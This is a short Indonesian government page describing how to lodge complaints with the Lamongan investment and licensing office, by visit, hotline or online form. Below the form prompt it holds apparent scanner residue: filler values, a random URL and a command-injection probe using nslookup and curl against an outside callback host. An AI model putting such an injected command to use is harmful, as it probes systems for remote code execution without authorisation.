MEKANISME PENGADUAN

Berikut ini adalah mekanisme untuk melakukan pengaduan di DPMPTSP Kabupaten Lamongan :

  1. Melalui Offline bisa langsung berkunjung ke gedung Mal Pelayanan Publik Kabupaten Lamongan
  2. Pengaduan bisa menghubungi via hotline DPMPTSP +62 812 3131 3838
  3. Melalui Pengaduan Online, dengan mengisi form di bawah ini :

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

`(nslookup -q=cname hitshicsbilii72976.bxss.me||curl hitshicsbilii72976.bxss.me)`

555

555